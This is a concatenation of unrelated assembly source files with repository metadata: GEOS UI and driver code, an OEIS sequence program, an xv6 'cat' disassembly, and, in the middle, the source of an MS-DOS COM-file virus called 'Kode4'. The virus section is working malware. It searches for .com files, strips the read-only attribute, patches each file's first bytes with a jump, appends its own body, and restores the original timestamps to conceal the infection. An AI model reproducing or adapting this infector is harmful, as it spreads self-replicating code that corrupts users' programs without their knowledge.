ret notFound: clc ret GenFieldProcessExit endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ReportLoadAppError %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: report error from loading application CALLED BY: INTERNAL PASS: ax - GeodeLoadError ds:si - application name (ds:si *cannot* be pointing into the movable XIP code resource.) di - chunk of main error string (in Strings resource) RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, es, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/21/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ReportLoadAppError proc far if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < push bx > EC < mov bx, ds > EC < call ECAssertValidFarPointerXIP > EC < pop bx > endif ; ; this assumes GeodeLoadError starts at 0 and increments by 1 ; EC < cmp ax, GeodeLoadError > EC < ERROR_AE BAD_GEODE_LOAD_ERROR > mov_tr bp, ax ; bx = error code shl bp, 1 ; convert to word table index ; ; PDA hacks - brianc 7/14/93 ; call UserCheckIfPDA jnc notPDA mov ax, cs:[GeodeLoadErrorStringsPDA][bp] tst ax jz notPDA mov bp, ax jmp short haveErrStr notPDA: mov bp, cs:[GeodeLoadErrorStrings][bp] haveErrStr: cmp bp, offset GeodeLoadHeapSpaceError jne notTransparentHeapSpaceError mov ax, segment uiLaunchModel mov es, ax cmp es:[uiLaunchModel], UILM_TRANSPARENT jne notTransparentHeapSpaceError mov bp, offset GeodeLoadHeapSpaceErrorTransparent notTransparentHeapSpaceError: mov bx, handle Strings call MemLock mov es, ax ; es = Strings resource mov di, es:[di] ; es:di = main error string mov bx, es:[bp] ; es:bp = secondary error string mov dx, size GenAppDoDialogParams sub sp, dx mov bp, sp mov ss:[bp].GADDP_dialog.SDP_customFlags, \ mask CDBF_SYSTEM_MODAL or \ CDT_ERROR shl offset CDBF_DIALOG_TYPE or \ GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE ; main error string movdw ss:[bp].GADDP_dialog.SDP_customString, esdi ; arg 1 = filename movdw ss:[bp].GADDP_dialog.SDP_stringArg1, dssi ; arg 2 = secondary error string movdw ss:[bp].GADDP_dialog.SDP_stringArg2, esbx movdw ss:[bp].GADDP_finishOD, 0 ; going nowhere... clr ss:[bp].GADDP_dialog.SDP_helpContext.segment mov bx, handle UIApp mov si, offset UIApp mov ax, MSG_GEN_APPLICATION_DO_STANDARD_DIALOG mov di, mask MF_STACK or mask MF_CALL call ObjMessage add sp, size GenAppDoDialogParams mov bx, handle Strings call MemUnlock ;exit: ret ReportLoadAppError endp GeodeLoadErrorStrings label lptr lptr offset GeodeLoadProtocolError ;IMPORTER_TOO_RECENT lptr offset GeodeLoadProtocolError ;IMPORTER_TOO_OLD lptr offset GeodeLoadFileNotFoundError ;FILE_NOT_FOUND lptr offset GeodeLoadLibraryNotFoundError ;LIBRARY_NOT_FOUND lptr offset GeodeLoadMiscFileError ;FILE_READ_ERROR lptr offset GeodeLoadMiscFileError ;NOT_GEOS_FILE lptr offset GeodeLoadMiscFileError ;NOT_GEOS_EXECUTABLE lptr offset GeodeLoadMiscFileError ;ATTRIBUTE_MISMATCH lptr offset GeodeLoadNoMemError ;MEMORY_ALLOCATION lptr offset GeodeLoadMultiLaunchError ;MULTI_LAUNCHABLE lptr offset GeodeLoadProtocolError ;PROTOCOL_ERROR lptr offset GeodeLoadMiscFileError ;LOAD_ERROR lptr offset GeodeLoadMiscFileError ;DRIVER_INIT_ERROR lptr offset GeodeLoadMiscFileError ;LIBRARY_INIT_ERROR lptr offset GeodeLoadDiskFullError ;DISK_TOO_FULL lptr offset GeodeLoadFieldDetachingError ;FIELD_DETACHING lptr offset GeodeLoadHeapSpaceError ;INSUFFICIENT_HEAP_SPACE if (GeodeLoadError ne ($-GeodeLoadErrorStrings)/2) ErrMessage <ERROR: Too few GeodeLoadErrorStrings> endif GeodeLoadErrorStringsPDA label lptr lptr 0 ;IMPORTER_TOO_RECENT lptr 0 ;IMPORTER_TOO_OLD lptr offset GeodeLoadFileNotFoundErrorPDA ;FILE_NOT_FOUND lptr offset GeodeLoadLibraryNotFoundErrorPDA ;LIBRARY_NOT_FOUND lptr offset GeodeLoadMiscFileErrorPDA ;FILE_READ_ERROR lptr offset GeodeLoadMiscFileErrorPDA ;NOT_GEOS_FILE lptr offset GeodeLoadMiscFileErrorPDA ;NOT_GEOS_EXECUTABLE lptr offset GeodeLoadMiscFileErrorPDA ;ATTRIBUTE_MISMATCH lptr 0 ;MEMORY_ALLOCATION lptr 0 ;MULTI_LAUNCHABLE lptr 0 ;PROTOCOL_ERROR lptr offset GeodeLoadMiscFileErrorPDA ;LOAD_ERROR lptr offset GeodeLoadMiscFileErrorPDA ;DRIVER_INIT_ERROR lptr offset GeodeLoadMiscFileErrorPDA ;LIBRARY_INIT_ERROR lptr 0 ;DISK_TOO_FULL lptr 0 ;FIELD_DETACHING lptr 0 ;INSUFFICIENT_HEAP_SPACE if (GeodeLoadError ne ($-GeodeLoadErrorStringsPDA)/2) ErrMessage <ERROR: Too few GeodeLoadErrorStringsPDA> endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldReadInitFileBoolean %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: GenFieldReadInitFileBoolean CALLED BY: INTERNAL PASS: *ds:si - GenField cx:dx - key RETURN: carry clear if found ax = TRUE or FALSE carry set if not found DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldReadInitFileBoolean proc near uses ds, si catBuffer local INI_CATEGORY_BUFFER_SIZE dup (char) .enter pushdw cxdx ; save key mov cx, ss ; cx:dx = category buffer lea dx, catBuffer mov ax, MSG_META_GET_INI_CATEGORY call ObjCallInstanceNoLock mov ds, cx ; ds:si = category mov si, dx popdw cxdx ; cx:dx = key call InitFileReadBoolean ; carry/ax = results .leave ret GenFieldReadInitFileBoolean endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldAboutToClose DESCRIPTION: If in 'quitOnClose' mode, quit all applications running in field, else do nothing. PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_ABOUT_TO_CLOSE RETURN: carry clear if GenField doesn't have 'quitOnClose' set and can be closed immediately carry set if 'quitOnClose' is set and field should not be closed until all apps are exited (whence MSG_META_FIELD_NOTIFY_NO_FOCUS will be sent) ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: As each app exits, we'll get MSG_GEN_FIELD_PROCESS_EXIT KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/26/92 Initial version ------------------------------------------------------------------------------@ GenFieldAboutToClose method dynamic GenFieldClass, MSG_GEN_FIELD_ABOUT_TO_CLOSE mov cx, cs mov dx, offset quitOnCloseKey call GenFieldReadInitFileBoolean ;carry clear if found ; (ax = TRUE or FALSE) cmc ;set if found, clr if not jnc done ;not found, done return C clr tst ax ;(clear carry) jz done ;FALSE, done ; ; Indicate that we are doing 'quitOnClose'. ; mov di, ds:[si] add di, ds:[di].Gen_offset ornf ds:[di].GFI_flags, mask GFF_QUIT_ON_CLOSE ; ; query shutdown control list, sending ack to ourselves. When we ; receive ack, we quit all apps or do nothing depending on whether ; shutdown control objects aborted detach. ; mov cx, ds:[LMBH_handle] mov dx, si mov bp, MSG_GEN_FIELD_SHUTDOWN_CONTROL_RESPONSE mov ax, SST_CLEAN call SysShutdown stc ; wait for ; MSG_META_FIELD_NOTIFY_NO_FOCUS done: ret GenFieldAboutToClose endm quitOnCloseKey char "quitOnClose", 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldShutdownControlResponse %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: handle our quitOnClose shutdown-control query CALLED BY: MSG_GEN_FIELD_SHUTDOWN_CONTROL_RESPONSE PASS: *ds:si = class object ds:di = class instance data es = segment of class ax = MSG_GEN_FIELD_SHUTDOWN_CONTROL_RESPONSE cx = 0 if shutdown denied non-zero if shutdown allowed RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 3/29/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldShutdownControlResponse method dynamic GenFieldClass, MSG_GEN_FIELD_SHUTDOWN_CONTROL_RESPONSE jcxz done ; shutdown denied ; ; quit all apps in this field ; mov di, ds:[di].GFI_genApplications tst di ; any apps? jz noApps ; nope mov di, ds:[di] ; ds:di = list inc di jz noApps ; no apps dec di jz noApps ; no apps ChunkSizePtr ds, di, cx ; cx = size of list shr cx shr cx ; cx = number of apps ; ; quit all applications ; *ds:si = GenField ; cx = number of GenApps ; mov di, ds:[si] add di, ds:[di].Gen_offset mov di, ds:[di].GFI_genApplications mov di, ds:[di] ; ds:di = GenApp list quitLoop: push cx ; save GenApp counter push si ; save GenField chunk ; ; send MSG_META_QUIT to GenApp object ; mov bx, ds:[di]+2 ; GenApp handle mov si, ds:[di]+0 ; GenApp chunk push di ; save GenApp list offset mov ax, MSG_META_QUIT ; force-queue -> doesn't move lmem block mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage pop di ; retrieve GenApp list offset add di, size optr pop si ; *ds:si = GenField pop cx ; cx = GenApp counter loop quitLoop jmp short done noApps: mov ax, MSG_META_FIELD_NOTIFY_NO_FOCUS call NotifyWithShutdownFlag ; don't care if not sent (ie. no dest) done: ret GenFieldShutdownControlResponse endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldGetLaunchModel %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Get launch model in use PASS: *ds:si - instance data ds:di - ptr to start of master instance data es - segment of class ax - MSG_GEN_FIELD_GET_LAUNCH_MODEL RETURN: ax - UILaunchModel ALLOWED TO DESTROY: bx, si, di, ds, es PSEUDO CODE/STRATEGY/KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- doug 3/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldGetLaunchModel method dynamic GenFieldClass, MSG_GEN_FIELD_GET_LAUNCH_MODEL segmov es, dgroup, ax ; SH mov ax, es:[uiLaunchModel] ret GenFieldGetLaunchModel endm Common ends
25.771906
152
0.64345
42369c4ea4e96ec6207bba8e2c78e7ec6e66556d
592
asm
Assembly
oeis/194/A194431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/194/A194431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/194/A194431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A194431: a(n) = 8*n^2 - 6*n - 1. ; 1,19,53,103,169,251,349,463,593,739,901,1079,1273,1483,1709,1951,2209,2483,2773,3079,3401,3739,4093,4463,4849,5251,5669,6103,6553,7019,7501,7999,8513,9043,9589,10151,10729,11323,11933,12559,13201,13859,14533,15223,15929,16651,17389,18143,18913,19699,20501,21319,22153,23003,23869,24751,25649,26563,27493,28439,29401,30379,31373,32383,33409,34451,35509,36583,37673,38779,39901,41039,42193,43363,44549,45751,46969,48203,49453,50719,52001,53299,54613,55943,57289,58651,60029,61423,62833,64259,65701 mov $1,8 mul $1,$0 add $1,10 mul $1,$0 add $1,1 mov $0,$1
59.2
497
0.761824
2b94212f86cc8c5527413eb8d13a1f3c540ea51c
613
asm
Assembly
Driver/Mailbox/Data/FileDD/filedd.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Mailbox/Data/FileDD/filedd.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Mailbox/Data/FileDD/filedd.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: Clavin MODULE: File Data Driver FILE: filedd.asm AUTHOR: Chung Liu, May 31, 1994 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- CL 5/31/94 Initial revision DESCRIPTION: File Data Driver for Mailbox Library. $Id: filedd.asm,v 1.1 97/04/18 11:41:46 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
17.514286
79
0.443719
db4e57324f74bf086d4cb56cbe5fe89d24dbbb9e
6,589
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.kode4-2.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.kode4-2.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.kode4-2.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h V_Length equ vend-vstart KODE4 proc far start label near db 0E9h,00h,00h vstart equ $ mov si,100h ;get si to point to 100 mov di,102h ;get di to point to 102 lback: inc di ;increment di mov ax,word ptr [si] ;si is ponting to ax cmp word ptr [di],ax ;compare ax with di loc jne lback ;INE go back and inc di mov ax,word ptr [si+1] cmp ax,word ptr [di+1] je lout jmp lback lout: add di,3h ;jmp stored in the end sub di,(v_length+100h) ;+3 to get to end and - mov si,di ; ;********************************************************************** ;* ;* The above code can be re-written as follows... ;* The above idea, although it works is very long in code.... ;* when DOS does a load and execute it pushes all registers the last ;* register to be pushed contains the file length. so just subtract ;* the current location ;********************************************************************** ; ; ; ;Host_Off: pop bp ; sub bp,offset host_off ; mov si,bp ; ;*** Before opening any file copy the original three bytes back to 100h ;*** Because they will get overwritten when you check any new files lea di,temp_buff add di,si mov ax,word ptr [di] mov cl,byte ptr [di+2] mov di,100h mov word ptr [di],ax mov byte ptr [di+2],cl mov ah,4Eh ;Find first Com file mov dx,offset filename ; offset of "*.com" add dx,si int 21h jnc back jmp done Back: mov ah,43h ;get rid of read only mov al,0 mov dx,9eh int 21h mov ah,43h mov al,01 and cx,11111110b int 21h mov ax,3D02h ;Open file for read/writing mov dx,9Eh ;get file name from file DTA int 21h jnc next jmp done next: mov bx,ax ;save handle in bx mov ah,57h ;get time date mov al,0 int 21h push cx ;put in stack for later push dx mov ax,4200h ; Move ptr to start of file xor cx,cx xor dx,dx int 21h mov ah,3fh ;load first 3 bytes mov cx,3 mov dx,offset temp_buff add dx,si int 21h xor cx,cx ;move file pointer to end of file xor dx,dx mov ax,4202h int 21h sub ax,3 ; Fix for real location push ax ; nop ; ; nop ; used for debugging ; nop ; ; nop ; ; nop mov di,offset temp_buff add di,si mov word ptr [j_code2+si],ax; Save two bytes in a ; word [jumpin] cmp byte ptr [di],0e9h ;look for a jmp at begining jne infect mov cx,word ptr [di+1] ;check for XXX bytes at end pop ax sub ax,v_length cmp ax, cx ; jump (id string to check) jne infect jmp finish infect: xor cx,cx ;move file pointer to begining xor dx,dx ;to write jump mov ax,4200h int 21h mov ah,40h ;write jump in first 3 bytes mov cx,3 mov dx, offset j_code1 add dx,si int 21h xor cx,cx ;move file pointer to end of file xor dx,dx mov ax, 4202h int 21h mov dx,offset vstart add dx,si ;Start writing at top of virus mov cx,(vend-vstart) ; Set for length of virus mov ah,40h ;Write Data into the file int 21h Finish: pop dx ;Restore old dates and times pop cx mov ah,57h mov al,01h int 21h mov ah,3Eh ;Close the file int 21h mov ah,4Fh ;Find Next file int 21h jc done jmp back done: mov bp,100h jmp bp filename db "*.com",0 DATA db " -=+ Kode4 +=-, The one and ONLY!$" j_code1 db 0e9h j_code2 db 00h,00h temp_buff db 0cdh,020h,090h ; CD 20 NOP kode4 endp vend equ $ seg_a ends end start
35.424731
72
0.331462
041cd491e1468bb1411824fb449ef431dc3ac478
48,485
asm
Assembly
dist-test/cat.asm
LongLeonardoLe/xv6
b10f1ad3bce4c3c264fc9746cd6efe1a78d606c5
[ "MIT-0" ]
null
null
null
dist-test/cat.asm
LongLeonardoLe/xv6
b10f1ad3bce4c3c264fc9746cd6efe1a78d606c5
[ "MIT-0" ]
null
null
null
dist-test/cat.asm
LongLeonardoLe/xv6
b10f1ad3bce4c3c264fc9746cd6efe1a78d606c5
[ "MIT-0" ]
null
null
null
_cat: file format elf32-i386 Disassembly of section .text: 00000000 <cat>: char buf[512]; void cat(int fd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 18 sub $0x18,%esp int n; while((n = read(fd, buf, sizeof(buf))) > 0) 6: eb 15 jmp 1d <cat+0x1d> write(1, buf, n); 8: 83 ec 04 sub $0x4,%esp b: ff 75 f4 pushl -0xc(%ebp) e: 68 80 0c 00 00 push $0xc80 13: 6a 01 push $0x1 15: e8 fa 03 00 00 call 414 <write> 1a: 83 c4 10 add $0x10,%esp void cat(int fd) { int n; while((n = read(fd, buf, sizeof(buf))) > 0) 1d: 83 ec 04 sub $0x4,%esp 20: 68 00 02 00 00 push $0x200 25: 68 80 0c 00 00 push $0xc80 2a: ff 75 08 pushl 0x8(%ebp) 2d: e8 da 03 00 00 call 40c <read> 32: 83 c4 10 add $0x10,%esp 35: 89 45 f4 mov %eax,-0xc(%ebp) 38: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 3c: 7f ca jg 8 <cat+0x8> write(1, buf, n); if(n < 0){ 3e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 42: 79 17 jns 5b <cat+0x5b> printf(1, "cat: read error\n"); 44: 83 ec 08 sub $0x8,%esp 47: 68 81 09 00 00 push $0x981 4c: 6a 01 push $0x1 4e: e8 78 05 00 00 call 5cb <printf> 53: 83 c4 10 add $0x10,%esp exit(); 56: e8 99 03 00 00 call 3f4 <exit> } } 5b: 90 nop 5c: c9 leave 5d: c3 ret 0000005e <main>: int main(int argc, char *argv[]) { 5e: 8d 4c 24 04 lea 0x4(%esp),%ecx 62: 83 e4 f0 and $0xfffffff0,%esp 65: ff 71 fc pushl -0x4(%ecx) 68: 55 push %ebp 69: 89 e5 mov %esp,%ebp 6b: 53 push %ebx 6c: 51 push %ecx 6d: 83 ec 10 sub $0x10,%esp 70: 89 cb mov %ecx,%ebx int fd, i; if(argc <= 1){ 72: 83 3b 01 cmpl $0x1,(%ebx) 75: 7f 12 jg 89 <main+0x2b> cat(0); 77: 83 ec 0c sub $0xc,%esp 7a: 6a 00 push $0x0 7c: e8 7f ff ff ff call 0 <cat> 81: 83 c4 10 add $0x10,%esp exit(); 84: e8 6b 03 00 00 call 3f4 <exit> } for(i = 1; i < argc; i++){ 89: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 90: eb 71 jmp 103 <main+0xa5> if((fd = open(argv[i], 0)) < 0){ 92: 8b 45 f4 mov -0xc(%ebp),%eax 95: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 9c: 8b 43 04 mov 0x4(%ebx),%eax 9f: 01 d0 add %edx,%eax a1: 8b 00 mov (%eax),%eax a3: 83 ec 08 sub $0x8,%esp a6: 6a 00 push $0x0 a8: 50 push %eax a9: e8 86 03 00 00 call 434 <open> ae: 83 c4 10 add $0x10,%esp b1: 89 45 f0 mov %eax,-0x10(%ebp) b4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) b8: 79 29 jns e3 <main+0x85> printf(1, "cat: cannot open %s\n", argv[i]); ba: 8b 45 f4 mov -0xc(%ebp),%eax bd: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx c4: 8b 43 04 mov 0x4(%ebx),%eax c7: 01 d0 add %edx,%eax c9: 8b 00 mov (%eax),%eax cb: 83 ec 04 sub $0x4,%esp ce: 50 push %eax cf: 68 92 09 00 00 push $0x992 d4: 6a 01 push $0x1 d6: e8 f0 04 00 00 call 5cb <printf> db: 83 c4 10 add $0x10,%esp exit(); de: e8 11 03 00 00 call 3f4 <exit> } cat(fd); e3: 83 ec 0c sub $0xc,%esp e6: ff 75 f0 pushl -0x10(%ebp) e9: e8 12 ff ff ff call 0 <cat> ee: 83 c4 10 add $0x10,%esp close(fd); f1: 83 ec 0c sub $0xc,%esp f4: ff 75 f0 pushl -0x10(%ebp) f7: e8 20 03 00 00 call 41c <close> fc: 83 c4 10 add $0x10,%esp if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ ff: 83 45 f4 01 addl $0x1,-0xc(%ebp) 103: 8b 45 f4 mov -0xc(%ebp),%eax 106: 3b 03 cmp (%ebx),%eax 108: 7c 88 jl 92 <main+0x34> exit(); } cat(fd); close(fd); } exit(); 10a: e8 e5 02 00 00 call 3f4 <exit> 0000010f <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 10f: 55 push %ebp 110: 89 e5 mov %esp,%ebp 112: 57 push %edi 113: 53 push %ebx asm volatile("cld; rep stosb" : 114: 8b 4d 08 mov 0x8(%ebp),%ecx 117: 8b 55 10 mov 0x10(%ebp),%edx 11a: 8b 45 0c mov 0xc(%ebp),%eax 11d: 89 cb mov %ecx,%ebx 11f: 89 df mov %ebx,%edi 121: 89 d1 mov %edx,%ecx 123: fc cld 124: f3 aa rep stos %al,%es:(%edi) 126: 89 ca mov %ecx,%edx 128: 89 fb mov %edi,%ebx 12a: 89 5d 08 mov %ebx,0x8(%ebp) 12d: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 130: 90 nop 131: 5b pop %ebx 132: 5f pop %edi 133: 5d pop %ebp 134: c3 ret 00000135 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 135: 55 push %ebp 136: 89 e5 mov %esp,%ebp 138: 83 ec 10 sub $0x10,%esp char *os; os = s; 13b: 8b 45 08 mov 0x8(%ebp),%eax 13e: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 141: 90 nop 142: 8b 45 08 mov 0x8(%ebp),%eax 145: 8d 50 01 lea 0x1(%eax),%edx 148: 89 55 08 mov %edx,0x8(%ebp) 14b: 8b 55 0c mov 0xc(%ebp),%edx 14e: 8d 4a 01 lea 0x1(%edx),%ecx 151: 89 4d 0c mov %ecx,0xc(%ebp) 154: 0f b6 12 movzbl (%edx),%edx 157: 88 10 mov %dl,(%eax) 159: 0f b6 00 movzbl (%eax),%eax 15c: 84 c0 test %al,%al 15e: 75 e2 jne 142 <strcpy+0xd> ; return os; 160: 8b 45 fc mov -0x4(%ebp),%eax } 163: c9 leave 164: c3 ret 00000165 <strcmp>: int strcmp(const char *p, const char *q) { 165: 55 push %ebp 166: 89 e5 mov %esp,%ebp while(*p && *p == *q) 168: eb 08 jmp 172 <strcmp+0xd> p++, q++; 16a: 83 45 08 01 addl $0x1,0x8(%ebp) 16e: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 172: 8b 45 08 mov 0x8(%ebp),%eax 175: 0f b6 00 movzbl (%eax),%eax 178: 84 c0 test %al,%al 17a: 74 10 je 18c <strcmp+0x27> 17c: 8b 45 08 mov 0x8(%ebp),%eax 17f: 0f b6 10 movzbl (%eax),%edx 182: 8b 45 0c mov 0xc(%ebp),%eax 185: 0f b6 00 movzbl (%eax),%eax 188: 38 c2 cmp %al,%dl 18a: 74 de je 16a <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 18c: 8b 45 08 mov 0x8(%ebp),%eax 18f: 0f b6 00 movzbl (%eax),%eax 192: 0f b6 d0 movzbl %al,%edx 195: 8b 45 0c mov 0xc(%ebp),%eax 198: 0f b6 00 movzbl (%eax),%eax 19b: 0f b6 c0 movzbl %al,%eax 19e: 29 c2 sub %eax,%edx 1a0: 89 d0 mov %edx,%eax } 1a2: 5d pop %ebp 1a3: c3 ret 000001a4 <strlen>: uint strlen(char *s) { 1a4: 55 push %ebp 1a5: 89 e5 mov %esp,%ebp 1a7: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1aa: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 1b1: eb 04 jmp 1b7 <strlen+0x13> 1b3: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1b7: 8b 55 fc mov -0x4(%ebp),%edx 1ba: 8b 45 08 mov 0x8(%ebp),%eax 1bd: 01 d0 add %edx,%eax 1bf: 0f b6 00 movzbl (%eax),%eax 1c2: 84 c0 test %al,%al 1c4: 75 ed jne 1b3 <strlen+0xf> ; return n; 1c6: 8b 45 fc mov -0x4(%ebp),%eax } 1c9: c9 leave 1ca: c3 ret 000001cb <memset>: void* memset(void *dst, int c, uint n) { 1cb: 55 push %ebp 1cc: 89 e5 mov %esp,%ebp stosb(dst, c, n); 1ce: 8b 45 10 mov 0x10(%ebp),%eax 1d1: 50 push %eax 1d2: ff 75 0c pushl 0xc(%ebp) 1d5: ff 75 08 pushl 0x8(%ebp) 1d8: e8 32 ff ff ff call 10f <stosb> 1dd: 83 c4 0c add $0xc,%esp return dst; 1e0: 8b 45 08 mov 0x8(%ebp),%eax } 1e3: c9 leave 1e4: c3 ret 000001e5 <strchr>: char* strchr(const char *s, char c) { 1e5: 55 push %ebp 1e6: 89 e5 mov %esp,%ebp 1e8: 83 ec 04 sub $0x4,%esp 1eb: 8b 45 0c mov 0xc(%ebp),%eax 1ee: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 1f1: eb 14 jmp 207 <strchr+0x22> if(*s == c) 1f3: 8b 45 08 mov 0x8(%ebp),%eax 1f6: 0f b6 00 movzbl (%eax),%eax 1f9: 3a 45 fc cmp -0x4(%ebp),%al 1fc: 75 05 jne 203 <strchr+0x1e> return (char*)s; 1fe: 8b 45 08 mov 0x8(%ebp),%eax 201: eb 13 jmp 216 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 203: 83 45 08 01 addl $0x1,0x8(%ebp) 207: 8b 45 08 mov 0x8(%ebp),%eax 20a: 0f b6 00 movzbl (%eax),%eax 20d: 84 c0 test %al,%al 20f: 75 e2 jne 1f3 <strchr+0xe> if(*s == c) return (char*)s; return 0; 211: b8 00 00 00 00 mov $0x0,%eax } 216: c9 leave 217: c3 ret 00000218 <gets>: char* gets(char *buf, int max) { 218: 55 push %ebp 219: 89 e5 mov %esp,%ebp 21b: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 21e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 225: eb 42 jmp 269 <gets+0x51> cc = read(0, &c, 1); 227: 83 ec 04 sub $0x4,%esp 22a: 6a 01 push $0x1 22c: 8d 45 ef lea -0x11(%ebp),%eax 22f: 50 push %eax 230: 6a 00 push $0x0 232: e8 d5 01 00 00 call 40c <read> 237: 83 c4 10 add $0x10,%esp 23a: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 23d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 241: 7e 33 jle 276 <gets+0x5e> break; buf[i++] = c; 243: 8b 45 f4 mov -0xc(%ebp),%eax 246: 8d 50 01 lea 0x1(%eax),%edx 249: 89 55 f4 mov %edx,-0xc(%ebp) 24c: 89 c2 mov %eax,%edx 24e: 8b 45 08 mov 0x8(%ebp),%eax 251: 01 c2 add %eax,%edx 253: 0f b6 45 